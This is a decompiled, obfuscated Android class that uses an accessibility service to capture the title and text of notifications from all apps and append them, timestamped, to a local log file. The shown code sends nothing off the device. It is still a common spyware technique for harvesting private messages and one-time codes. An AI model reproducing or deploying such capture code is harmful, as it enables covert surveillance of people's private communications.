package o;

import android.app.Notification;
import android.content.pm.PackageManager;
import android.os.Bundle;
import android.os.Parcelable;
import android.view.accessibility.AccessibilityEvent;
import ir.devixor.app.accessibilityservice.AccessibilityService;
import java.io.File;
import java.io.FileOutputStream;
import java.nio.charset.Charset;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* loaded from: classes.dex */
public final class OS {
    public AccessibilityService a;
    public int b;

    public final void a(AccessibilityEvent accessibilityEvent) {
        String string;
        PackageManager packageManager;
        if (accessibilityEvent == null || accessibilityEvent.getEventType() != 64) {
            return;
        }
        Parcelable parcelableData = accessibilityEvent.getParcelableData();
        Notification notification = parcelableData instanceof Notification ? (Notification) parcelableData : null;
        if (notification == null) {
            return;
        }
        Bundle bundle = notification.extras;
        CharSequence packageName = accessibilityEvent.getPackageName();
        if (packageName == null || (string = packageName.toString()) == null) {
            string = "Unknown";
        }
        try {
            AccessibilityService accessibilityService = this.a;
            if (accessibilityService != null && (packageManager = accessibilityService.getPackageManager()) != null) {
                string = packageManager.getApplicationLabel(packageManager.getApplicationInfo(string, 0)).toString();
            }
        } catch (Exception unused) {
        }
        CharSequence charSequence = bundle.getCharSequence("android.title");
        String string2 = charSequence != null ? charSequence.toString() : null;
        if (string2 == null) {
            string2 = "";
        }
        CharSequence charSequence2 = bundle.getCharSequence("android.text");
        String string3 = charSequence2 != null ? charSequence2.toString() : null;
        if (string3 == null) {
            string3 = "";
        }
        CharSequence charSequence3 = bundle.getCharSequence("android.bigText");
        String string4 = charSequence3 != null ? charSequence3.toString() : null;
        String str = string4 != null ? string4 : "";
        if (str.length() > 0) {
            string3 = str;
        }
        if (string3.length() == 0 && string2.length() == 0) {
            return;
        }
        this.b++;
        String str2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault()).format(new Date());
        String strG = AbstractC0725ab0.G("\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n🔔 Notification #" + this.b + "\n📱 App: " + string + "\n📝 Title: " + string2 + "\n💬 Text: " + string3 + "\n⏰ Time: " + str2 + "\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n");
        try {
            AccessibilityService accessibilityService2 = this.a;
            File file = new File(accessibilityService2 != null ? accessibilityService2.getFilesDir() : null, "notificationListener.txt");
            Charset charset = AbstractC2355rh.a;
            FileOutputStream fileOutputStream = new FileOutputStream(file, true);
            try {
                AbstractC2008ny.N(fileOutputStream, strG, charset);
                fileOutputStream.close();
            } finally {
            }
        } catch (Exception unused2) {
        }
    }
}
